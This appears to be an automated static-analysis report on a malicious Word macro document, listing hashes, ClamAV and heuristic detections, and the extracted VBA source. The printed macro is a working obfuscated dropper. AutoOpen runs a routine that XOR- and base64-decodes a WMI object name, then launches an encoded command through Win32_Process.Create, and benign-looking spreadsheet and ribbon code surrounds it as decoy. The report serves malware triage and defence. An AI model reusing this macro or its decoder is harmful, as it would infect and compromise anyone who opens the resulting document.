Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e537e70d7559659f…

MALICIOUS

Office (OLE)

140.5 KB Created: 2019-12-19 14:02:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: a696b43cc90a0c724abfc3fb26b42786 SHA-1: a99a76d4e5de830ed79d9b6648018abbe482f66d SHA-256: e537e70d7559659f905414750c8b19951e5c2d896da9f8db681fe7ab688db9b9
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious Office document containing a VBA macro. The macro utilizes functions like CreateObject and references to VirtualProtect and GetProcAddress, indicating an attempt to execute code. The presence of an embedded URL, though malformed, suggests a download mechanism for a secondary payload. The ClamAV detection 'Doc.Dropper.Alien-7476146-0' further supports its role as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Alien-7476146-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Alien-7476146-0
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Gike = NobosMeik(VibinJoin("IQcXHjIAGgwGERsdBk07MhQAHz8OAAkRGRc="), "versache")
    Set Kein = CreateObject(Gike)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Sub AutoOpen()
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://s�chemas.@� In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/01/customuiIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 76240 bytes
SHA-256: f01cec874431b15efb10f54865270ba5d1200e7e39ba69890e9bce767ebbaf71
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const CP_UTF8                       As Long = 65001

#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If
 



 
 Dim Fenglo As Variant

Sub OnActionButton(control As String)

    If Conecta() = True Then
        Select Case control.ID
            Case "btnPedreiros": fPedreiros.Show
            Case "btnClientes": fClientes.Show
            Case "btnFornecedores": fFornecedores.Show
            Case "btnProdutos": fProdutos.Show
            Case "btnObras": fObras.Show
            Case "btnCompras": fCompras.Show
            Case "btnRequisicoes": fRequisicoes.Show
            Case "btnPagamentos": fPagamentos.Show
            Case "btnDicionarioDados": Call AtualizaBD
            Case "btnBackup": fBackup.Show
            'Case "btnOrcamentos": fOrcamentos.Show
            Case Else: MsgBox "Botao ainda nao implementado", vbInformation
        End Select
    End If

End Sub

'Callback for customUI.onLoad
Sub ribbonLoaded(ribbon As String)
    Stop
    Set Myribbon = ribbon
End Sub


'Callback for DynamicMenu getContent
Sub dyMenuImportacoes(control As String, ByRef returnedVal)
'   This procedure is executed whenever a sheet is activated
'   (See the Worksheet_Activate procedure in ThisWorkbook)
    
    Dim XMLcode As String
    
'   Read the XML markup from the active sheet
    XMLcode = "<menu xmlns=" & Chr(34) & "http://schemas.microsoft.com/office/2006/01/customui" & Chr(34)
    XMLcode = XMLcode & " >"
    XMLcode = XMLcode & "<button id=" & Chr(34) & "bTransConta" & Chr(34) & " image=" & Chr(34) & "money99" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Money99: Transacoes da conta" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuImportacoes" & Chr(34) & " />"
    XMLcode = XMLcode & "<button id=" & Chr(34) & "bSaldos" & Chr(34) & " image=" & Chr(34) & "money99" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Money99: Saldo das contas" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuImportacoes" & Chr(34) & " />"
    XMLcode = XMLcode & "<button id=" & Chr(34) & "bBradescoCC" & Chr(34) & " image=" & Chr(34) & "bradesco" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Bradesco: Extrato da conta corrente" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuImportacoes" & Chr(34) & " />"
    XMLcode = XMLcode & "<button id=" & Chr(34) & "bSantanderFatura" & Chr(34) & " image=" & Chr(34) & "santander" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Santander: Fatura de cartao" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuImportacoes" & Chr(34) & " />"
    XMLcode = XMLcode & "</menu>"

    returnedVal = XMLcode
    
End Sub

Sub UpdateDynamicRibbon()
'   Invalidate the ribbon to force a call to dynamicMenuContent
    On Error Resume Next
    Myribbon.Invalidate
    If Err.Number <> 0 Then
        'MsgBox "Lost the Ribbon object. Save and reload."
    End If
End Sub

Sub ActionDyMenuImportacoes(control As String)
'   Executed when Sheet1 is active
    If Conecta() = True Then
        Select Case control.ID
            Case "bTransConta": fImportaTransacoesM99.Show
            'Case "bSaldos": f_import02.Show
            'Case "bBradescoCC": f_import03.Show
            'Case "bSantanderFatura": Call f_import04.Show
            Case Else: MsgBox "Botao ainda nao implementado", vbInformation
        End Select
    End If
End Sub
Sub dyMenuOutrosCadastros(control As String, ByRef returnedVal)
'   This procedure is executed whenever a sheet is activated
'   (See the Worksheet_Activate procedure in ThisWorkbook)
    
    Dim XMLcode As String
    
'   Read the XML markup from the active sheet
    XMLcode = "<menu xmlns=" & Chr(34) & "http://schemas.microsoft.com/office/2006/01/customui" & Chr(34)
    XMLcode = XMLcode & " >"
    
'    XMLcode = XMLcode & "<button id=" & Chr(34) & "bBairros" & Chr(34) & " imageMso=" & Chr(34) & "OpenStartPage" & Chr(34)
'    XMLcode = XMLcode & " label=" & Chr(34) & "Bairros" & Chr(34)
'    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuOutrosCadastros" & Chr(34) & " />"
        
    XMLcode = XMLcode & "<button id=" & Chr(34) & "bContas" & Chr(34) & " image=" & Chr(34) & "Contas" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Contas" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuOutrosCadastros" & Chr(34) & " />"
    
    XMLcode = XMLcode & "<button id=" & Chr(34) & "bEtapas" & Chr(34) & " imageMso=" & Chr(34) & "OpenStartPage" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Etapas da obra" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuOutrosCadastros" & Chr(34) & " />"

    XMLcode = XMLcode & "<button id=" & Chr(34) & "bTiposObra" & Chr(34) & " imageMso=" & Chr(34) & "OpenStartPage" & Chr(34)
    XMLcode = XMLcode & " label=" & Chr(34) & "Tipos de obra" & Chr(34)
    XMLcode = XMLcode & " onAction=" & Chr(34) & "ActionDyMenuOutrosCadastros" & Chr(34) & " />"

    
    XMLcode = XMLcode & "</menu>"

    returnedVal = XMLcode
    
End Sub
Sub ActionDyMenuOutrosCadastros(control As String)
'   Executed when Sheet1 is active
    If Conecta() = True Then
        Select Case control.ID
            'Case "bBairros": fBa.Show
            Case "bContas": fContas.Show
            Case "bEtapas": fEtapas.Show
            Case "bTiposObra": fTiposObra.Show
            
            Case Else: MsgBox "Botao ainda nao implementado", vbInformation
        End Select
    End If
End Sub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Sub Au_Op()

Floru
End Sub

    

Sub Floru()

    Dim Gike As Variant
    Gike = NobosMeik(VibinJoin("IQcXHjIAGgwGERsdBk07MhQAHz8OAAkRGRc="), "versache")
    Set Kein = CreateObject(Gike)


    Set Fenglo = Kein.ConnectServer()
    Fenglo.Security_.ImpersonationLevel = 56 _
    * 2 _
    - 109
    Call Samsung
    
End Sub

Function Samsung()

        Dim Glen As Variant
    Set Glen = Fenglo _
    .Get _
    ("Win32_Process")
    On Error _
    Resume Next
    Call Glen _
    .Create _
    (NobosMeik _
    (VibinJoin _
    ("BgoFFhMQAAAaCVJeFgoGARkSAQcYDw1FHgwWFwQNSEgVCh8eAA0MRT8IAhwTF0UoGQEHHwRDKgwCFiYBAA0bAxMXSVMyFwkXAkgwGhUQPBcXCwEVBBFISCUKBwECBkgNAhECSU5MCwofCxASEgZFEAVUXBoPBQdKNBAbP08HCRFaDQYHEVlHShUKGx0DAhsAWxABQk8KBgMZSiQaCywESxIEBl8JFxwVTEpdEA4KBgcXFhdeFBBZSx8LFBxODzwwPhJcFwAXSEgyAAEHCA0JER8KHFM9QUwAGBNIJyQuODkADBYcTwAHCCpHXi9DRw0LAF8mNiwzNBYQAAASPUFEOVRBFx0XWTwgOzUuHzU2IBJYBh0ePUFTRSUABl4tDAsEAgwdHUFOOAQCDVIvQ0cNCwBfJjYsMzRHTUURFhMXHREfCVJeBQYLChIAUgAHBhoEVhcXFw4PU0VWNgYSExdFNQQKERYSEEgTHwEdXQIMBUVbJAAUFA4NCwIpGwAVQxoAEgoe"), "versache"), _
    Null, Null, FeraskoLom)

  
End Function




Private Function NobosMeik(text As String, key As String) As String
  Dim VifoLer() As Byte
  Dim Grido() As Byte
  
  Dim VifJon As Long
  Dim GitClone As Long
    
  
  VifoLer = StrConv(text, vbFromUnicode)
  VifJon = UBound(VifoLer, 1)
  Grido = StrConv(key, vbFromUnicode)
  GitClone = UBound(Grido, 1)
  Dim VibikO As Long
  Dim Vbokil As Long
  
  For VibikO = (44 * 2 - 88) To VifJon
    VifoLer(VibikO) = _
    VifoLer(VibikO) _
    Xor _
    Grido(Vbokil)
    If Vbokil < GitClone Then
      Vbokil = _
      Vbokil + _
      (54 * 2 - 107)
    Else
      
      Vbokil _
      = _
      72 * _
      0.5 _
      - _
36
    End If
  Next VibikO
  NobosMeik = StrConv(VifoLer, 64)
End Function

Public Function VibinJoin(Vecad As String) As String
    Dim baValue()       As Byte
    Dim sValue          As String
    Dim kerfas           As Long
    
    With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
        .DataType = "bin" + ".base64"
        .text = Vecad
        baValue = .NodeTypedValue
        sValue = String$(4 * UBound(baValue), 0)
        kerfas = MultiByteToWideChar(CP_UTF8, 84 + 2 - 86, baValue((54 + 12 - 66)), UBound(baValue) + (11 * 11 - 120), StrPtr(sValue), Len(sValue))
        VibinJoin = Left$(sValue, kerfas)
    End With
End Function

Public Sub AutoOpen()


Au_Op
    

End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Sub NewMonth()
    'A neo?aa iieoiee oa?aou
    'If Not WorkIt Then Exit Sub
    
    Dim data As String
    data = InputBox("Aaaaeoa aaoo (a oi?iaoa ianyo.aia, iai?eia? yiaa?u 2017 aoaao auaeyaaou eae 1.17)." + Chr(13))
    If data = "" Then Exit Sub
    On Error GoTo error1
    dt = Split(data, ".")
    mnth = dt(0)
    yer = dt(1)
    'Aaeaai ?aciaoeo aao
    
    On Error GoTo 0
    If MsgBox("Auiieieou i?enoeo aaiiuo?", vbYesNo) = 6 Then
        Application.ScreenUpdating = False
        'I?euaai...
        For d = 1 To 31
            CLearPage Trim(str(d)) + "a"
            CLearPage Trim(str(d)) + "i"
        Next
        Application.ScreenUpdating = True
    End If
    'Caiieiyai aaou
    FillDates mnth, yer
    
    Exit Sub
error1:
    MsgBox ("Ioeaea. I?iaa?uoa aaaa?iia cia?aiea.")
End Sub

Sub FillDates(m, y)
    nn = 1
    'Dim dd As Date 'I?aaeeuiae naaeaou oae, ii ia cia? eae :( VBA - aaaii n?aiia
    For d = 1 To 31
        'dd = System.DateTime(1993, 5, 31, 12, 14, 0)
        'dd = 3 / 17 / 1984
        Sheets(Trim(str(d)) + "a").Cells(1, 6) = "Iaeeaaiay ?" + str(nn)
        Sheets(Trim(str(d)) + "a").Cells(2, 6) = Trim(str(d)) + "." + m + "." + y
        'Sheets(Trim(Str(d)) + "a").Cells(2, 6) = dd
        nn = nn + 1
        Sheets(Trim(str(d)) + "i").Cells(1, 6) = "Iaeeaaiay ?" + str(nn)
        Sheets(Trim(str(d)) + "i").Cells(2, 6) = Trim(str(d)) + "." + m + "." + y
        'Sheets(Trim(Str(d)) + "a").Cells(2, 6) = dd
        nn = nn + 1
    Next
End Sub

'Eiie?iaaiea no?aieou
Sub CopyPage(sorce, dist)
    'MsgBox """" + sorce + """ - """ + dist + """"
    For s = 6 To 25
        For C = 2 To 17
            Sheets(dist).Cells(s, C) = Sheets(sorce).Cells(s, C)
        Next
    Next
    Sheets(dist).Cells(1, 6) = Sheets(sorce).Cells(1, 6)
    Sheets(dist).Cells(2, 6) = Sheets(sorce).Cells(2, 6)
End Sub

'I?enoea no?aieou
Sub CLearPage(page)
    For s = 6 To 25
        For C = 2 To 17
            Sheets(page).Cells(s, C) = ""
        Next
    Next
End Sub

Sub Refresh()
    'A neo?aa iieoiee oa?aou
    'If Not WorkIt Then Exit Sub
    
    n = 1
    d = 1
    Cells.Clear
    Cells(First, 1) = "Ia?aaioea..."
    Application.ScreenUpdating = False
    '?enoai oaaeeoo
    Table
    'Caiieiyai
    Calc
    'N?eoaai noiio inoaoeia
    All = 0
    For i = 1 To n * 2 - 2
        Sum = 0
        For j = 3 To Days + 2
            Sum = Sum + Cells(i + First + 1, NameCols + j)
        Next
        Cells(i + First + 1, NameCols + Days + 2) = Sum
        All = All + Sum
        'Caoaiiyai ii?iua no?i?ee
        If i / 2 = i \ 2 Then
            For j = 3 To Days + 2
                Cells(i + First + 1, j + NameCols - 1).Interior.Color = &HE0E0E0
            Next
        End If
    Next
    'Eoia
    Cells(First + n * 2, NameCols + Days + 2) = All
    Bottom
    Application.ScreenUpdating = True
End Sub

Sub Calc()
    For dy = 1 To 31
        AddList Trim(str(dy)) + "a", False
        AddList Trim(str(dy)) + "i", True
    Next
End Sub

Sub AddList(sh As String, Night As Boolean)
    'MsgBox """" + sh + """"
    Dim st(NameCols) As String
    'No?iea a iaeeaaiie
    Dim ost             'Inoaoie a iaeeaaiie
    'Eieiiea (aaoa)
    If Not Night Then Cells(First + 1, 1 + NameCols + d) = Left(sh, Len(sh) - 1)
    For i = 6 To 16 '25
        'Aa??i n iaeeaaiie aey i?iaa?ee
        For C = 1 To NameCols
            st(C) = Sheets(sh).Cells(i, C + 1)
        Next
        ost = Sheets(sh).Cells(i, Result)
        If st(1) <> "" Then
            en = 0
            'I?iaa?yai, anou ee no?iea a io??oa
            For j = 1 To n
                complate = True
                For C = 1 To NameCols
                    If Cells(First + j * 2, 1 + C) <> st(C) Then complate = False
                Next
                If complate Then en = j
            Next
            If en = 0 Then
                sn = n
                n = n + 1
            Else
                sn = en
            End If
            Cells(First + sn * 2, 1) = sn       'Iiia?
            For C = 1 To NameCols               'Iaeiaiiaaiea
                Cells(First + sn * 2, 1 + C) = "'" + st(C)
            Next
            Cells(First + sn * 2 - Night, 1 + NameCols + d) = ost  'Inoaoie
        End If
    Next
    If Night Then d = d + 1
End Sub

Sub Table()
    'Iauaaeiaiea y?aae (aaeaai yoi ia?aa caiieiaieai, ?oi au ia eciaiyeny ?acia?)
    For C = 1 To NameCols + 1
        Range(Cells(First, C), Cells(First + 1, C)).Merge
        Cells(First, C).HorizontalAlignment = xlCenter
        Cells(First, C).VerticalAlignment = xlCenter
        Cells(First, C).WrapText = True
    Next
    'Oaiea oaaeeou
    Cells(First, 1) = "?"
    Cells(First, 2 + NameCols) = "Aaoa"
    For C = 1 To NameCols
        Cells(First, 1 + C) = Sheets("1a").Cells(4, 1 + C)
    Next
    Cells(First, NameCols + Days + 2) = "Eoiai"
    Range(Cells(First, 1), Cells(First + 1, NameCols + Days + 2)).Interior.Color = &HE0E0E0
    'Aaoa
    Range(Cells(First, NameCols + 2), Cells(First, NameCols + Days + 1)).Merge
    Cells(First, NameCols + 2).HorizontalAlignment = xlCenter
    Cells(First, NameCols + 2).VerticalAlignment = xlCenter
End Sub

Sub Bottom()
    'Iiaaae
    '?aiea
    Last = First + (n - 1) * 2 + 2
    Range(Cells(First, 1), Cells(Last, NameCols + Days + 2)).Borders.Weight = xlThin
    'E?anioa a y?aeeao iaeiaiiaaiey
    For i = First + 2 To First + (n - 1) * 2 Step 2
        For C = 1 To NameCols + 1
            Range(Cells(i, C), Cells(i + 1, C)).Merge
            Cells(i, C).HorizontalAlignment = xlCenter
            Cells(i, C).VerticalAlignment = xlCenter
        Next
    Next
    'Eoiai
    Range(Cells(First, NameCols + Days + 2), Cells(First + 1, NameCols + Days + 2)).Merge
    Cells(First, NameCols + Days + 2).HorizontalAlignment = xlCenter
    Cells(First, NameCols + Days + 2).VerticalAlignment = xlCenter
    'Eoiaiaiai
    Cells(Last, 1) = "Eoiai:"
    Range(Cells(Last, 1), Cells(Last, NameCols + Days + 1)).Merge
    Cells(Last, 1).HorizontalAlignment = xlRight
End Sub

Sub SummaPotr()
    
    res = "AI"  'No?aieoa
    v1 = 10     'Iau?i iio?aaeaiey EIO
    v2 = 11     'Iau?i iio?aaeaiey Ii?iaoea
    v3 = 12     'Iau?i iio?aaeaiey ?I
    sf = 20     'Iiea aey auaiaa noiiu
    max = 999999 'Iaeneiaeuiia eiee?anoai caienae
    
    Sum = 0
    First = 2
    a1 = Sheets(res).Cells(2, 1)
    a2 = Sheets(res).Cells(2, 2)
    a3 = Sheets(res).Cells(2, 3)
    a4 = Sheets(res).Cells(2, 3)
    For i = 2 To max
        If Sheets(res).Cells(i, 1) = "" Then Exit For
        If a1 = Sheets(res).Cells(i, 1) And _
           a2 = Sheets(res).Cells(i, 2) And _
           a3 = Sheets(res).Cells(2, 3) And _
           a4 = Sheets(res).Cells(2, 4) Then
            Sum = Sum + Sheets(res).Cells(i, v1) + _
                Sheets(res).Cells(i, v2) + _
                Sheets(res).Cells(i, v3)
        Else
            a1 = Sheets(res).Cells(i, 1)
            a2 = Sheets(res).Cells(i, 2)
            a3 = Sheets(res).Cells(2, 3)
            a4 = Sheets(res).Cells(2, 4)
            For j = First To i - 1
                Sheets(res).Cells(j, sf) = Sum
            Next
            Sum = 0
            First = i
            i = i - 1
        End If
    Next
    
    MsgBox ("Aioiai!")

End Sub

Sub NewAndOldFind()

    Call MakeCopy
    
    Call AddNew("OANeAI")
    Call AddNew("Oaiei")
    
    Call FindDead("OANeAI")
    Call FindDead("Oaiei")
    
    MsgBox ("Aioiai")
    
End Sub

Private Sub MakeCopy()
    Application.ScreenUpdating = False
    Sheets("Res").Cells.Clear
    For i = 1 To 99999
        If Sheets("OOA").Cells(i, 1) <> "" Then
            For j = 1 To 3
                Sheets("Res").Cells(i, j) = Sheets("OOA").Cells(i, j)
            Next
        Else
            Exit For
        End If
    Next
    max = i
End Sub

Private Sub AddNew(sheet)
    For i = 1 To 99999
        If Sheets(sheet).Cells(i, 1) <> "" Then
            Find = False
            For j = 2 To 99999
                If Sheets("Res").Cells(j, 2) <> "" Then
                    If Right(Sheets("Res").Cells(j, 1), 5) = Right(Sheets(sheet).Cells(i, 1), 5) Then
                        Find = True
                    End If
                Else
                    Exit For
                End If
            Next
            If Not Find Then
                Sheets("Res").Cells(j, 1) = Sheets(sheet).Cells(i, 1)
                Sheets("Res").Cells(j, 2) = Sheets(sheet).Cells(i, 2)
                Sheets("Res").Cells(j, 4) = "Iiaue ec " + sheet
                max = max + 1
                sn = sn + 1
            End If
        Else
            Exit For
        End If
    Next
    Sheets("Res").Cells(max, 4) = "Iiauo:" + str(sn)
End Sub

Private Sub FindDead(sheet)
    s = 0
    For i = 1 To 99999
        t = Sheets("Res").Cells(i, 1)
        If t = "" Then Exit For
        Find = False
        For j = 1 To 99999
            If Sheets(sheet).Cells(j, 1) <> "" Then
                If Right(Sheets(sheet).Cells(j, 1), 5) = Right(t, 5) Then
                    Find = True
                    Exit For
                End If
            Else
                Exit For
            End If
        Next
        If Not Find And Sheets("Res").Cells(i, 4) = "" Then
            If Sheets("Res").Cells(i, 5) = "-" Then
                Sheets("Res").Cells(i, 5) = "Oaae?i!"
                s = s + 1
            Else
                Sheets("Res").Cells(i, 5) = "-"
            End If
        End If
    Next
    Sheets("Res").Cells(i, 5) = "Oaaeaii:" + str(s)
End Sub

Sub Iiene()
    i = 1
    Do While Cells(i, 1) <> ""
        cnt = 1
        Do
        s1 = Split(Cells(i, 1), ",")(0)
        If Cells(i + cnt, 1) <> "" Then
            s2 = Split(Cells(i + cnt, 1), ",")(0)
        Else
            s2 = ""
        End If
        fnd = (s1 = s2)
        If fnd Then
            cnt = cnt + 1
        Else
            Cells(i, 2) = cnt
            If cnt = 1 Then Cells(i, 1).Interior.Color = &H8080FF
            i = i + cnt - 1
        End If
        Loop Until Not fnd
        i = i + 1
    Loop
End Sub





Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{796D7038-2B9F-42AC-8AEF-13461907208E}{6BE8D097-D60B-401E-81A8-1367845F669E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /tmp/qstore_7lze8_un
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 46824 bytes
' Line #0:
' 	Dim (Private Const) 
' 	LitDI4 0xFDE9 0x0000 
' 	VarDefn CP_UTF8 (As Long) 0x002C
' Line #1:
' Line #2:
' 	LbMark 
' 	Ld Win64 
' 	LbIf 
' Line #3:
' 	FuncDefn (Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As , ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr)
' Line #4:
' 	FuncDefn (Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As , ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long)
' Line #5:
' 	LbMark 
' 	LbElse 
' Line #6:
' 	FuncDefn (Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As , ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long)
' Line #7:
' 	FuncDefn (Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As , ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long)
' Line #8:
' Line #9:
' 	LbMark 
' 	LbEndIf 
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' 	Dim 
' 	VarDefn Kein (As Variant)
' Line #16:
' Line #17:
' 	FuncDefn (Sub fnd(OnActionButton As String))
' Line #18:
' Line #19:
' 	ArgsLd IRibbonControl 0x0000 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld OnActionButton 
' 	MemLd Conecta 
' 	SelectCase 
' Line #21:
' 	LitStr 0x000C "btnPedreiros"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld ID 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #22:
' 	LitStr 0x000B "btnClientes"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld Show 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #23:
' 	LitStr 0x000F "btnFornecedores"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld fClientes 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #24:
' 	LitStr 0x000B "btnProdutos"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld fFornecedores 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #25:
' 	LitStr 0x0008 "btnObras"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld fProdutos 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #26:
' 	LitStr 0x000A "btnCompras"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld fObras 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #27:
' 	LitStr 0x000E "btnRequisicoes"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld fCompras 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #28:
' 	LitStr 0x000D "btnPagamentos"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld fRequisicoes 
